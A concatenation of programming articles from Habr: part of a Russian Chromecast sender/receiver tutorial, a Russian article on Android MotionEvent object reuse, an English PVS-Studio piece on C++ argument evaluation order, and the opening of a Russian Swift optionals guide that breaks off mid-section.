MediaRouteActionProvider mediaRouteActionProvider = (MediaRouteActionProvider) MenuItemCompat.getActionProvider(mediaRouteMenuItem);
mediaRouteActionProvider.setRouteSelector(mediaRouteSelector);
return true;
}
```
и зарегистрируйте callback в методах onStart и onStop:
```
@Override
protected void onStart()
{
super.onStart();
mediaRouter.addCallback(mediaRouteSelector, mediaRouterCallback, MediaRouter.CALLBACK_FLAG_PERFORM_ACTIVE_SCAN);
}
@Override
protected void onStop()
{
//setSelectedDevice(null);
mediaRouter.removeCallback(mediaRouterCallback);
super.onStop();
}
```
APP\_ID это строка с идентификатором приложения полученным при регистрации приложения в части 2.2
Теперь подключите Android устройства к общей с Chromecast устройством WiFi сети и запустите приложение (обратите внимание что receiver приложение должно уже быть доступным. Оно очень простое в нашем случае так что мы можем взять его из приведенное исходных кодов. Мы вернемся к этому позже).
Если все условия соблюдены, то иконка трансляции появится в верхнем правом угле. Нажатие на нее откроет со списком доступных устройств, позволяя тем самым подключится к одному из них. После подключения иконка станет голубой, оповещая что подключение установлено. Нажатие на нее еще раз откроет другой диалог, который позволит изменить громкость на Chromecast устройстве или отключится от него:
###### 2) Управление сессией:
Для управления сессией мы добавим несколько полей и методов:
```
@Override
protected void onStart()
{
super.onStart();
mediaRouter.addCallback(mediaRouteSelector, mediaRouterCallback, MediaRouter.CALLBACK_FLAG_PERFORM_ACTIVE_SCAN);
}
@Override
protected void onStop()
{
//setSelectedDevice(null);
mediaRouter.removeCallback(mediaRouterCallback);
super.onStop();
}
```
и несколько listeners:
```
private CastDevice selectedDevice;
private GoogleApiClient apiClient;
private boolean applicationStarted;
private void setSelectedDevice(CastDevice device)
{
Log.d(TAG, "setSelectedDevice: " + device);
selectedDevice = device;
if (selectedDevice != null)
{
try
{
stopApplication();
disconnectApiClient();
connectApiClient();
}
catch (IllegalStateException e)
{
Log.w(TAG, "Exception while connecting API client", e);
disconnectApiClient();
}
}
else
{
if (apiClient != null)
{
disconnectApiClient();
}
mediaRouter.selectRoute(mediaRouter.getDefaultRoute());
}
}
private void connectApiClient()
{
Cast.CastOptions apiOptions = Cast.CastOptions.builder(selectedDevice, castClientListener).build();
apiClient = new GoogleApiClient.Builder(this)
.addApi(Cast.API, apiOptions)
.addConnectionCallbacks(connectionCallback)
.addOnConnectionFailedListener(connectionFailedListener)
.build();
apiClient.connect();
}
private void disconnectApiClient()
{
if (apiClient != null)
{
apiClient.disconnect();
apiClient = null;
}
}
private void stopApplication()
{
if (apiClient == null) return;
if (applicationStarted)
{
Cast.CastApi.stopApplication(apiClient);
applicationStarted = false;
}
}
```
Теперь если вы подключитесь к Chromecast, “Receiver” приложение будет активированно и вы увидите некоторую отладочную информацию. Давайте раскроем тему обмена сообщениями.
###### 3) Обмен сообщениями между Sender и Receiver приложениями.
Исходящие сообщения посылаются в помощью соедующего метода:
```
private void sendMessage(String message)
{
if (apiClient != null)
{
try
{
Cast.CastApi.sendMessage(apiClient, NAMESPACE, message)
.setResultCallback(new ResultCallback()
{
@Override
public void onResult(Status result)
{
if (!result.isSuccess())
{
Log.e(TAG, "Sending message failed");
}
}
});
}
catch (Exception e)
{
Log.e(TAG, "Exception while sending message", e);
}
}
}
```
В нашем случае NAMESPACE это строка «urn:x-cast:com.ls.cast.sample». Она используется для того чтоб отделить наш канал от других. Такая же конатснта должна быть использована в Receiver приложении.
Для обработки входящих сообщений нам нужно зарегистрировать Cast.MessageReceivedCallback как получатель сообщений. Мы сделает это в connectionResultCallback:
```
@Override
public void onResult(Cast.ApplicationConnectionResult result)
{
Status status = result.getStatus();
if (status.isSuccess())
{
applicationStarted = true;
try
{
Cast.CastApi.setMessageReceivedCallbacks(apiClient, NAMESPACE, incomingMsgHandler);
}
catch (IOException e)
{
Log.e(TAG, "Exception while creating channel", e);
}
}
}
public final Cast.MessageReceivedCallback incomingMsgHandler = new Cast.MessageReceivedCallback()
{
@Override
public void onMessageReceived(CastDevice castDevice, String namespace, String message)
{
}
};
```
И последнее что можно сделать — это обменятся сообщениями. В нашем демонстрационном приложении мы создали простой лейаут который позволяет показывать входящие сообщения. Вы можете ознакомится в полными исходными кодами в [прикрепленном файле](http://blog.lemberg.co.uk/sites/blog/files/imce/samples/chromecast-sample.zip).
##### 2.4. Разработка “Receiver” приложения
“Receiver” приложение — это специальное Web приложение, способное работать в Chromecast устройстве.
Конечная цель приложения — показывать пользователю полезную информацию и позволить ему взаимодействовать с этой информацией через “Sender” приложение.
Первая задача отображения информации есть общая для Web приложений и может быть очень разной: это может быть медиа приложение типа YouTube или что-то наподобие медиа-плеера, или же это может быть некоторое тяжеловесное UI приложение наподобии Google Maps с дополнительными слоями, либо это может быть простая HTML страница, отображающая некоторую статистику.
Насчет второй задачи взаимодействия между Receiver и Sender приложением — Chromecast SDK предоставляет для этого JavaScript библиотеку. Это позволит обмениваться строковыми сообщениями в обе стороны. Давайте раскроем эту тему.
Прежде всего имейте в виду что приложение должно быть зарегистрировано как описано в пункте 2.2. При регистрации нужно предоставить URL. Этот URL будет использован для хостинга вашего Receiver приложения. Разработка Receiver приложения состоит из таких этапов:
1) разработка приложения локально;
2) размещение его на указанном URL;
3) активация и отладка приложения через специальный URL. Для активации приложения просто запустите Sender приложение и подключитесь к устройству. Для отладки “Receiver” приложения откройте следующий линк на вашем PC: [http://CHROMECAST\_IP:9222](http://chromecast_ip:9222/), где CHROMECAST\_IP это IP адрес Chromecast устройства. Для того чтоб получить IP адрес устройства, запустите утилиту настройки Chromecast для PC или для мобильных устройств. Обратите внимание что устройства используемое для конфигурации должно иметь прямое WiFi соединение с Chromecast устройством (таким образом ваш PC должен иметь WiFi адаптер если вы выберете его для конфигурации):
Также обратите внимание, что опция “Send this Chromecast’s serial number when checking for updates” должна быть включенной чтоб позволить отладку. После открытия броузером найденного адреса вы увидите следующее:
Подсвеченный линк относится к исполняющемуся приложению.Если вы нажмете на нем, будет открыта новая страница с Chrome Developer tools. Не плутайте их с локальными инструментами разработчика — на самом деле они удаленные и относятся к вашему Chromecast устройству:
Теперь мы наконец готовы к разработке приложения.
Прежде всего включите скрипт поддержки Chromecast: | https://habr.com/ru/post/218425/ | null | ru | null |
# По следам бага и немного о событиях MotionEvent в Android
Думаю, многие из нас писали код вида:
```
@Override
public boolean onTouch(View view, MotionEvent event) {
final float x = event.getX();
final float y = event.getY();
// использование x и y...
return false;
}
```
Но, думаю, не многие задумывались о том, какой путь проходит каждый объект MotionEvent прежде чем попасть в этот метод. В большинстве случае в этом нет необходимости, но все же случаются ситуации, когда незнание особенностей MotionEvent и обработки касаний приводит к печальным результатам.
Год назад я с друзьями разрабатывал приложение, где очень многое упиралось в обработку касаний. Однажды, загрузив новые исходники из репозитория и собрав приложение, я обнаружил, что вертикальная координата касания определяется неверно. Просматривая последние коммиты команды, я наткнулся на интересную строку, где внезапно от y-координаты отнималось 100. То есть, что-то вроде «y -= 100;», причем, это число не было вынесено как константа и вообще было непонятно почему именно 100. На мой очевидный вопрос я получил ответ «Ну, мы опытным путем определили, что в этом месте y-координата всегда на 100 (пикселей) больше, чем должна быть». Здесь, конечно, стоило бы перечитать документацию по обработке касаний и, просмотрев код проекта, найти ошибку, но я решил пойти более интересным путем – проследить по исходникам Android за MotionEvent от его получения до утилизации.
Если я смог кого-то заинтриговать историей в стиле «По следам полосатого бага» — добро пожаловать под кат.
#### Мораль
Для начала убедимся, что хранить MotionEvent, который пришел к нам с onTouch – плохо. Я использовал небольшое тестовое приложение со следующим кодом:
```
package com.alcsan.test;
// imports…
public class MainActivity extends Activity implements OnTouchListener {
private List mEventsHistory = new ArrayList();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity\_main);
View parentLayout = findViewById(R.id.parent\_layout);
parentLayout.setOnTouchListener(this);
}
@Override
public boolean onTouch(View view, MotionEvent event) {
logEventsHistory();
mEventsHistory.add(event);
return false;
}
protected void logEventsHistory() {
StringBuilder message = new StringBuilder();
for (MotionEvent event : mEventsHistory) {
message.append(event.getY());
message.append(" ");
}
Log.i("Events", message.toString());
}
}
```
Запускаем приложение, несколько раз тапаем в одну точку под ActionBar-ом и смотрим в логи. Лично я получил следующую картину: «32.0», «41.0 41.0», «39.0 39.0 39.0», «39.0 39.0 39.0 39.0». То есть, после первого вызова мы сохранили в истории объект с y=32, но уже после следующего нажатия y этого объекта равен 41, а в историю заносится объект с таким же y. На самом деле это все один и тот же объект, который был использован при первом вызове onTouch и повторно использован при втором его вызове. Поэтому мораль проста: не храните MotionEvent, полученный в onTouch! Используйте этот объект только в рамках метода onTouch, а для остальных нужд извлекайте из него координаты и храните их в PointF, например.
#### Исходники Android – пул MotionEvent
А теперь предлагаю заглянуть в кроличью нору исходников Android и определить почему MotionEvent ведет себя именно таким образом.
Во-первых, уже по поведению тестового приложения понятно, что объекты MotionEvent не создаются при каждом касании, а повторно используются. Сделано это потому, что касаний может быть много за короткий промежуток времени и создание множества объектов ухудшило бы производительность. Как минимум за счет учащения сборки мусора. Представьте, сколько объектов создавалось бы за минуту игры в Fruit Ninja, ведь события – это не только DOWN, UP и CANCEL, но и MOVE.
Логика работы с пулом объектов MotionEvent находится классе MotionEvent — [grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.2\_r1.1/android/view/MotionEvent.java](http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.2_r1.1/android/view/MotionEvent.java). С пулом здесь связаны статические методы и переменные. Максимальное количество одновременно хранимых объектов определяет константа MAX\_RECYCLED (и равна она 10), счетчик хранимых объектов – gRecyclerUsed, для синхронизации и обеспечения работы в асинхронном режиме используется gRecyclerLock. gRecyclerTop – голова списка объектов, оставленных на утилизацию. И еще есть не статическая переменная mNext, а также mRecycledLocation и mRecycled.
Когда системе нужен объект, вызывается статический метод obtain(). Если пул пуст (gRecyclerTop == null), создается и возвращается новый объект. В противном же случае возвращается последний утилизированный объект (gRecyclerTop), а его место занимает предпоследний (gRecyclerTop = gRecyclerTop.mNext).
Для утилизации вызывается recycle() на утилизируемом объекте. Он занимает место «последнего добавленного» (gRecyclerTop), а ссылка на текущий «последний» сохраняется в mNext (mNext = gRecyclerTop). Это все происходит после проверки на переполнение пула.
#### Исходники Android – обработка MotionEvent
Нырять слишком глубоко не будем и начнем с метода handleMessage(Message msg) — [grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.2\_r1.1/android/view/ViewRoot.java?av=f#1712](http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.2_r1.1/android/view/ViewRoot.java?av=f#1712) – класса ViewRoot. Сюда приходит уже готовый MotionEvent (полученный системой через MotionEvent.obtain()), обернутый в Message. Метод, кстати, служит для обработки не только касаний, но и других событий. Поэтому тело метода – большой switch, в котором нас интересуют строки с 1744 по 1847. Здесь происходит предварительная обработка события, затем mView.dispatchTouchEvent(event), затем же событие добавляется в пул: event.recycle(). Метод dispatchTouchEvent(…) вызывает событие слушателя, если таковой имеется, и пытается делегировать обработку события внутренним View.
#### Следы бага
И теперь вкратце о том, в чем заключался баг.
Для начала немного о том, что конкретно делали с MotionEvent в том проекте. Получив объект, приложение сохраняло его в переменную, ждало некоторое количество миллисекунд и обрабатывало его. Связано такое поведение было с жестами: грубо говоря, если пользователь коснулся экрана и задержал палец на секунду – показать ему определенный диалог. Приложение получало событие ACTION\_DOWN и, не получив в течение секунды событий ACTION\_UP или ACTION\_CANCEL, реагировало. Причем, реагировало исходя из инициирующего MotionEvent. Таким образом, ссылка на него жила некоторое время, за которое могло произойти несколько других событий касания.
Последовательно происходило следующее:
1. Пользователь касался экрана.
2. Система получала новый объект методом MotionEvent.obtain() и наполняла его данными о касании.
3. Объект события попадал в handleMessage(…), там он предобрабатывался и, несколько методов спустя, попадал в метод onTouch() слушателя.
4. Метод onTouch() сохранял ссылку на объект. Здесь же запускается таймер.
5. В методе handleMessage(…) объект помещался в пул — event.recycle(). То есть, система теперь считает этот объект свободным для повторного использования.
6. Пока таймер тикает, пользователь коснулся экрана еще несколько раз, при этом для обработки этих касаний использовался один и тот же объект.
7. Таймер завершил отсчет, вызывается некий метод, который обращается по ссылке к объекту MotionEvent, полученному при первом касании. Объект тот же, а вот x и y уже успели поменяться.
В тестовом же примере все тоже было просто:
1. Первое касание. Запрашивается объект MotionEvent. Поскольку вызов первый – объект создается.
2. Объект наполняется информацией о касании.
3. Объект приходит в onTouch() и мы сохраняем ссылку на него в списке-истории.
4. Объект утилизируется.
5. Второе касание. Запрашивается объект MotionEvent. Поскольку в пуле уже есть один – он и возвращается.
6. У полученного из пула объекта меняются координаты.
7. Объект приходит в onTouch(), мы добавляем его в историю, но это тот же объект, что и уже есть в истории, а координаты первого касания утеряны – их заменили координаты второго касания.
#### Выводы
Да, проще и правильнее было бы почитать документацию и увидеть там, что хранить объекты MotionEvent таким образом нельзя. Быстрее было бы посмотреть решение проблемы на StackOverflow. Но, пройти путь MotionEvent по исходникам от создания до утилизации было интересно и познавательно. | https://habr.com/ru/post/209910/ | null | ru | null |
# How Deep the Rabbit Hole Goes, or C++ Job Interviews at PVS-Studio
Authors: Andrey Karpov, [khandeliants](https://habr.com/ru/users/khandeliants/) Phillip Khandeliants.
Here's an interesting story about how one of the questions we ask at job interviews turned out to reach even deeper than intended by its author. You've always got to watch your step with C++ and C++ compilers – there's never a risk of getting bored.
Just like any other software developer company, we have our own lists of questions to ask applicants for C++, C#, and Java developer positions. Many of these questions are tricky, and quite a bit so. Well, we can't guarantee that with questions on C# and Java as they were devised by other authors. But many of the questions on C++ authored by Andrey Karpov were definitely aimed at probing the depth of the applicant's knowledge of language specifics.
There's a simple answer to any of those questions. But it can be elaborated to one degree or another. By the depth of the applicant's answer we can tell how well they know the language peculiarities. This is extremely important to us because developing a code analyzer requires a profound understanding of all the technicalities and «quirks» of the language.
Today's little story is about one of the first questions we ask at interviews and how it turned out to run even deeper than we intended. Now, we show this code to the applicant:
```
void F1()
{
int i = 1;
printf("%d, %d\n", i++, i++);
}
```
and ask him or her, «What do you think this code will print?»
That's a good question. The answer says a lot about the applicant's expertise. Those who are too incompetent to answer at all don't count – we have them filtered off through pre-interview testing on HeadHunter (hh.ru). Oh, wait… We actually had a couple odd applicants who replied something like this:
*This code will first print a percent sign, then a d, then percent sign and d again, then backslash and n, and then two ones.*
Needless to say, that was the end of the interview.
Now, back to our normal interviews :). Applicants will often say:
*This code will print 1 and 2.*
This is a trainee's answer. Sure, the program could print these values, but what we want to hear is **something along these lines**:
*You can't say for sure what* ***exactly*** *this code will print. This is unspecified (or undefined) behavior. The order of evaluating the arguments is not defined. All the arguments are to be evaluated before the called function's body executes, but the exact order of their evaluation is compiler-specific. So this code might well output «1, 2» or «2, 1». In any case, it's* ***strongly*** *recommended not to write code like that if you build it with at least two compilers because you risk «shooting yourself in the foot». Many compilers would actually issue a warning on that.*
Indeed, [Clang](https://godbolt.org/z/YLniYd) may output «1, 2».
And [GCC](https://godbolt.org/z/gS_cfB) may output «2, 1».
A long time back, we tried the MSVC compiler, and it would print «2, 1» too. There was nothing to worry about.
But some time ago, we needed to compile that sample code using the modern version of Visual C++ for an entirely different reason. We built it in the Release configuration with the */O2* optimization level. We weren't seeking trouble but it found us anyway :). What do you think we got? Ha! We got «1, 1».
We could only wonder at what we saw. The problem turned out to be much more intricate than we could ever think.
Since the C++ standard does not prescribe an exact order of argument evaluation, the compiler interprets this type of unspecified behavior in a very peculiar way. Let's take a look at the assembly generated by the MSVC 19.25 compiler (Microsoft Visual Studio Community 2019, Version 16.5.1), with the standard version flag '/std:c++14' enabled:
Technically, the optimizer turned the code above into the following:
```
void F1()
{
int i = 1;
int tmp = i;
i += 2;
printf("%d, %d\n", tmp, tmp);
}
```
From the compiler's point of view, this optimization doesn't alter the program's observable behavior. When I look at this, I begin to understand the point of adding the «magic» function *make\_shared*, along with the smart pointers, in C++11 (and *make\_unique* in C++14). Here's another seemingly harmless snippet that gets screwed up too:
```
void foo(std::unique_ptr, std::unique\_ptr);
int main()
{
foo(std::unique\_ptr { new int { 0 } },
std::unique\_ptr { new double { 0.0 } });
}
```
A crafty compiler may enforce the following evaluation order (which is what [MSVC](https://godbolt.org/z/v8DD5-) did):
```
new int { .... };
new double { .... };
std::unique_ptr::unique\_ptr
std::unique\_ptr::unique\_ptr
```
If the second call of the *new* operator throws an exception, we'll get a memory leak.
But let's get back to the original example. Even though all was fine from the compiler's point of view, the string «1, 1» still didn't seem to be the right output from the programmer's perspective. So we compiled the source code with MSVC, with the '/std:c++17' flag on. This worked as expected, and the program printed «2, 1». Here's the assembly:
Now the compiler doesn't try to be original and passes the values 2 and 1 for the arguments, as expected. But why did changing the standard flag affect the code so drastically? It turns out the C++17 standard has the following addition:
*The postfix-expression is sequenced before each expression in the expression-list and any default argument. The initialization of a parameter, including every associated value computation and side effect, is indeterminately sequenced with respect to that of any other parameter.*
The compiler still has the right to evaluate arguments in an arbitrary order, but starting with the C++17 standard, it can move on to evaluate the next argument and its side effects no sooner than it has finished evaluating the previous argument and its side effects.
By the way, the '/std:c++17' flag helps [fix](https://godbolt.org/z/GvWfFg) that other example with smart pointers too, without having to use *std::make\_unique*.
That's how we discovered another level of depth to the question. It's theory vs practice in the form of a specific compiler or differing interpretations of the standard :). The C++ world has always been much more complex and surprising than you might think.
If you have a more accurate explanation of that behavior, please let us know in the comments. We can't rest until we've figured it all out – if only to know the right answer before asking another applicant! :)
That's a story we all can learn from. I hope you enjoyed reading this, and please don't hesitate to share your opinion. We recommend using the most recent language standard if you don't want to be amazed at the tricks the modern optimizing compilers can do. Or better still – don't write code like that at all :).
P.S. You may think we'll have to drop this question from our list now that we «disclosed» it. But we don't see why we should do that. If the applicant took the trouble to read our articles before going to the interview and used what he or she had learned from this particular one, it would earn them a score for doing a good job and increase their chances to get hired :). | https://habr.com/ru/post/495564/ | null | en | null |
# Опционалы в Swift
Несмотря на некоторый опыт в мобильной разработке (в том числе с применением Swift), регулярно на почве свифтовых опционалов возникали ситуации, когда я знал **что** нужно делать, но не совсем внятно представлял, **почему** именно так. Приходилось отвлекаться и углубляться в документацию — количество "заметок на полях" пополнялось с удручающей периодичностью. В определенный момент они достигли критической массы, и я решил упорядочить их в едином исчерпывающем руководстве. Материал получился довольно объемным, поскольку предпринята попытка раскрыть тему максимально подробно. Статья будет полезна как начинающим Swift-разработчикам, так и матерым профессионалам из мира Objective-C — есть ненулевая вероятность, что и последние найдут для себя что-то новое. А если не найдут, то добавят свое новое в комментарии, и всем будет польза.
#### **Что такое Optionals?**
*Optionals* (опционалы) — это удобный механизм обработки ситуаций, когда значение переменной может отсутствовать. Значение будет использовано, только если оно есть.
#### **Зачем нужны Optionals, когда есть проверка на nil?**
Во-первых, проверка на равенство/неравенство `nil` применима только к [nullable-типам](https://en.wikipedia.org/wiki/Nullable_type) и не применима к примитивным типам, структурам и перечислениям. Для обозначения отсутсвия значения у переменной примитивного типа приходится вводить спецзначения, такие как *NSNotFound*.
**Примечание**[*NSNotFound*](https://developer.apple.com/reference/foundation/foundation_constants/nsnotfound) не только нужно рассматривать как спецзначение, но и следить, чтобы оно не входило в множество допустимых значений переменной. Ситуация усложняется еще и тем, что *NSNotFound* считается равным *NSIntegerMax*, т.е. может иметь разные значения для разных (32-bit/64-bit) платформ. Это значит, что *NSNotFound* нельзя напрямую записывать в файлы и архивы или использовать в [*Distributed Objects*](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/PreferencePanes/Tasks/Communication.html).
Соответственно, пользователь этой переменной должен учитывать, что спецзначения возможны. В Swift даже примитивный тип можно использовать в опциональном стиле, т.е явным образом указывать на то, что значения может не быть.
Во-вторых: явная опциональность проверяется на этапе компиляции, что снижает количество ошибок в runtime. Опциональную переменную в Swift нельзя использовать точно так же, как неопциональную (за исключением неявно извлекамых опционалов, подробности в разделе *Implicit Unwrapping*). Опционал нужно либо принудительно преобразовывать к обычному значению, либо использовать специальные преобразующие идиомы, такие как `if let`, `guard let` и `??`. Опционалы в Swift реализуют не просто проверку, но целую парадигму [опционального типа](https://en.wikipedia.org/wiki/Option_type) в [теории типов](https://en.wikipedia.org/wiki/Type_theory).
В-третьих, опционалы синтаксически более лаконичны, чем проверки на `nil`, что особенно хорошо видно на цепочках опциональных вызовов — так называемый *Optional Chaining*.
#### **Как это работает?**
Опционал в Swift представляет из себя особый объект-контейнер, который может содержать в себе либо `nil`, либо объект конкретного типа, который указывается при объявлении этого контейнера. Эти два состояния обозначаются терминами *None* и *Some* соответственно. Если при создании опциональной переменной присваемое значение не указывать, то `nil` присваивается по умолчанию.
**Примечание**В документации значение по умолчанию в случае отсутсвия явного присвоения не упоминается, но [сказано](https://developer.apple.com/documentation/swift/optional), что опционал *represents either a wrapped value or nil, the absence of a value*. Если опциональная переменная объявлена без явного присвоения (какое-либо *Some* не присваивалось), то логично следует, что неявно присваивается *None* — третьего "неинициализрованного" состояния у опционалов нет.
Опционал объявляется посредством комбинации имени типа и лексемы `?`. Таким образом, запись `Int?` — это объявление контейнера, экземпляр которого может содержать внутри `nil` (состояние *None Int*) либо значение типа `Int` (состояние *Some Int*). Именно поэтому при преобразовании `Int?` в `Int` используетя термин *unwrapping* вместо *cast*, т.е. подчеркивается "контейнерная" суть опционала. Лексема `nil` в Swift обозначает состояние *None*, которое можно присвоить любому опционалу. Это логично приводит к невозможности присвоить `nil` (состояние *None*) переменной, которая не является опционалом.
По факту опционал представляет собой системное перечисление:
```
public enum Optional : ExpressibleByNilLiteral {
/// The absence of a value.
///
/// In code, the absence of a value is typically written using the `nil`
/// literal rather than the explicit `.none` enumeration case.
case none
/// The presence of a value, stored as `Wrapped`.
case some(Wrapped)
/// Creates an instance that stores the given value.
public init(\_ some: Wrapped)
...
/// Creates an instance initialized with `nil`.
///
/// Do not call this initializer directly. It is used by the compiler
// when you initialize an `Optional` instance with a `nil` literal.
public init(nilLiteral: ())
...
}
```
Перечисление `Optional` имеет два возможных состояния: `.none` и `some(Wrapped)`. Запись `Wrapped?` обрабатывается препроцессором (*Swift’s type system*) и трансформируется в `Optional`, т.е. следующие записи эквивалентны:
```
var my_variable: Int?
```
```
var my_variable: Optional
```
Лексема `nil` по факту обозначает `Optional.none`, т.е. следующие записи эквивалентны:
```
var my_variable: Int? = nil
```
```
var my_variable: Optional = Optional.none
```
```
var my_variable = Optional.none
```
Перечисление `Optional` имеет два конструктора. Первый конструктор `init(_ some: Wrapped)` принимает на вход значение соответсвующего типа, т.е. следующие записи эквивалентны:
```
var my_variable = Optional(42) // тип .some-значения Int опеределен неявно
```
```
var my_variable = Optional(42) // явное указание типа Int для наглядности
```
```
var my_variable = Int?(42) // тип Int необходимо указать явно
```
```
var my_variable: Int? = 42 // тип Int необходимо указать явно
```
```
var my_variable = Optional.some(42) // тип Int опеределен неявно
```
```
var my_variable = Optional.some(42) // явное указание типа для наглядности
```
Второй конструктор `init(nilLiteral: ())` является реализацией протокола `ExpressibleByNilLiteral`
```
public protocol ExpressibleByNilLiteral {
/// Creates an instance initialized with `nil`.
public init(nilLiteral: ())
}
```
и инициализирует опциональную переменную состоянием `.none`. Этот конструктор используется компилятором. Согласно [документации](https://developer.apple.com/documentation/swift/optional/1538243-init) его не рекомендуется вызывать напрямую
```
var test = Optional(nilLiteral: ()) // не рекомендуется
```
что логично, поскольку преобразование пустого кортежа Void `()` в `nil` несколько неочевидно.
Вместо этого конструктора следует использовать
```
var my_variable: Int? = nil // или var my_variable: Int? = Optional.none
```
или вообще не использовать явное присвоение
```
var my_variable: Int?
```
поскольку `nil` будет присвоен по умолчанию.
Перечисление `Optional` также содержит свойство unsafelyUnwrapped, которое предоставляет доступ на чтение к `.some`-значению опционала:
```
public enum Optional : ExpressibleByNilLiteral {
...
/// The wrapped value of this instance, unwrapped without checking whether
/// the instance is `nil`.
public var unsafelyUnwrapped: Wrapped { get }
}
```
Если опционал находится в состоянии `.none`, обращение к `unsafelyUnwrapped` приведет **к серьезному сбою программы**.
**Подробнее**В режиме отладки *debug build -Onone* будет ошибка рантайма:
```
_fatal error: unsafelyUnwrapped of nil optional_
```
В релизной сборке *optimized build -O* будет ошибка рантайма **[либо неопределенное поведение](https://developer.apple.com/documentation/swift/optional/1641793-unsafelyunwrapped)**. Более безопасной операцией является *Force Unwrapping* (или *Explicit Unwrapping*) — принудительное извлечение `.some`-значения, обозначаемое лексемой `!`. Применение *Force Unwrapping* к опционалу в состоянии `.none` приведет к ошибке рантайма:
```
_fatal error: unexpectedly found nil while unwrapping an Optional value_
```
```
let my_variable1 = Int?(42) // содержит 42, тип Optional Int
let my_value1A = my_variable1! // содержит 42, тип Int
let my_value1B = my_variable1.unsafelyUnwrapped // содержит 42, тип Int
let my_variable2 = Int?.none // содержит nil, тип Optional Int
let my_value2A = my_variable2! // ошибка рантайма
// ошибка рантайма в режиме -Onone, НЕОПРЕДЕЛЕННОЕ ПОВЕДЕНИЕ в режиме -O
let my_value2B = my_variable2.unsafelyUnwrapped
```
#### **Идиомы использования**
Нет особого смысла использовать обычное перечисление с двумя состояниями. Вполне можно реализовать подобный механизм самостоятельно: создать *enum* c двумя состояниями и конструкторами для соответствующих значений, добавить какой-нибудь постфиксный оператор для *Force Unwrapping* (например, как это сделано [здесь](http://jamesonquave.com/blog/re-implementing-optionals-using-swifts-powerful-enum-type/)), добавить возможность сравнения с `nil` или вообще придумать "свой" `nil` и т.д. Опционалы должны быть интегрированы непосредственно в сам язык, чтобы их использование было естественным, не чужеродным. Разумеется, можно рассматривать такую интеграцию как "синтаксический сахар", однако языки высокого уровня для того и существуют, чтобы писать (и читать) код на них было легко и приятно. Использование опционалов в Swift подразумевает ряд идиом или особых языковых конструкций, которые помогают уменьшить количество ошибок и сделать код более лаконичным. К таким идиомам относятся *Implicit Unwrapping*, *Optional Chaining*, *Nil-Coalescing* и *Optional Binding*.
#### **Implicit unwrapping**
Безопасное использование *Force Unwrapping* подразумевает предварительную проверку на `nil`, например, в условии `if`:
```
// getOptionalResult() может вернуть nil
let my_variable: Int? = getOptionalResult() // тип Optional Int
if my_variable != nil {
// my_value получит .some-значение опционала из getOptionalResult()
let my_value = my_variable!
} else {
// ошибка рантайма
let my_value = my_variable!
}
```
Иногда из структуры программы очевидным образом следует, что переменная технически является опционалом, но к моменту первого использования всегда находится в состоянии `.some`, т.е. не является `nil`. Для использования опционала в неопциональном контексте (например, передать его в функцию с параметром неопционального типа) приходится постоянно применять *Force Unwrapping* с предварительной проверкой, что скучно и утомительно. В этих случаях можно применить неявно извлекаемый опционал — *Implicitly Unwrapped Optional*. Неявно извлекамый опционал объявляется посредством комбинации имени типа и лексемы `!`:
```
let my_variable1: Int? = 42 // тип Optional Int
let my_variable2: Int! = 42 // тип Implicitly Unwrapped Optional Int
var my_variable3: Int! = 42 // тип Implicitly Unwrapped Optional Int
...
my_variable3 = nil // где-то непредвиденно присвоен nil
...
func sayHello(times:Int) {
for _ in 0...times {
print("Hello!")
}
}
sayHello(times: my_variable1!) // обязаны извлекать значение явно
sayHello(times: my_variable1) // ошибка компиляции
sayHello(times: my_variable2!) // можем, но не обязаны извлекать значение явно
sayHello(times: my_variable2) // неявное извлечение
sayHello(times: my_variable3) // ошибка рантайма
```
В вызове `sayHello(times: my_variable2)` извлечение значения `42` из `my_variable2` **все равно осуществляется, только неявно**. Использование неявно извлекаемых опционалов делает код более удобным для чтения — нет восклицательных знаков, которые отвлекают внимание (вероятно, читающего код будет беспокоить использование *Force Unwrapping* без предварительной проверки). На практике это скорее анти-паттерн, увеличивающий вероятность ошибки. Неявно извлекаемый опционал заставляет компилятор "закрыть глаза" на то, что опционал используется в неопциональном контексте. Ошибка, которая может быть выявлена во время компиляции (вызов `sayHello(times: my_variable1)`), проявится только в рантайме (вызов `sayHello(times: my_variable3)`). Явный код всегда лучше неявного. Логично предположить, что такое снижение безопасности кода требуется не только ради устранения восклицательных знаков, и это действительно так.
Неявно извлекаемые опционалы позволяют использовать `self` в конструкторе для иницализации свойств и при этом:
* не нарушать правил [двухэтапной инициализации](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Initialization.html#//apple_ref/doc/uid/TP40014097-CH18-ID220) (в конструкторе все свойства должны быть инициализированы до обращения к `self`) — иначе код просто не скомпилируется;
* избежать излишней опциональности в свойстве, для которого она не требуется (по своему смыслу значение свойства не может отсутствовать).
Наглядный пример, где требуется использовать `self` в конструкторе для иницализации свойств, приведен в [документации](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html#//apple_ref/doc/uid/TP40014097-CH20-ID55):
```
class Country {
let name: String
var capitalCity: City!
init(name: String, capitalName: String) {
self.name = name
self.capitalCity = City(name: capitalName, country: self)
}
}
class City {
let name: String
unowned let country: Country
init(name: String, country: Country) {
self.name = name
self.country = country
}
}
var country = Country(name: "Canada", capitalName: "Ottawa")
print("\(country.name)'s capital city is called \(country.capitalCity.name)")
// Prints "Canada's capital city is called Ottawa"
```
В этом примере экземпляры классов *Country* и *City* должны иметь ссылки друга на друга к моменту завершения инициализации. У каждой страны обязательно должна быть столица и у каждой столицы обязательно должна быть страна. Эти связи не являются опциональными — они безусловны. В процессе инициализации объекта `country` необходимо инициализировать свойство `capitalCity`. Для инициализации `capitalCity` нужно создать экземпляр класса *City*. Конструктор *City* в качестве параметра требует соответствующий экземпляр *Country*, т.е. требует доступ к `self`. Сложность в том, что экземпляр *Country* на этот момент еще не до конца инициализирован, т.е. `self` использовать нельзя.
